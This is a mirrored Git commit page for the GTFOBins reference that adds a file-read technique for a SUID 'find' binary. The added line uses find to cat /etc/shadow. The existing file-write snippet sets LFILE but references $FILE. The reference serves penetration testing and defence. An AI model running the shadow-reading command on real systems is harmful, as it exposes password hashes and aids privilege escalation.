mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Added file-read.md
if 'find' was among the SUID's you get a privileged access to read files with it
This commit is contained in:
parent
2afe22a27b
commit
e8343b579f
@ -11,4 +11,6 @@ functions:
|
|||||||
code: |
|
code: |
|
||||||
LFILE=file_to_write
|
LFILE=file_to_write
|
||||||
find / -fprintf "$FILE" DATA -quit
|
find / -fprintf "$FILE" DATA -quit
|
||||||
|
file-read:
|
||||||
|
- code: find /etc -name shadow -exec cat {} \;
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user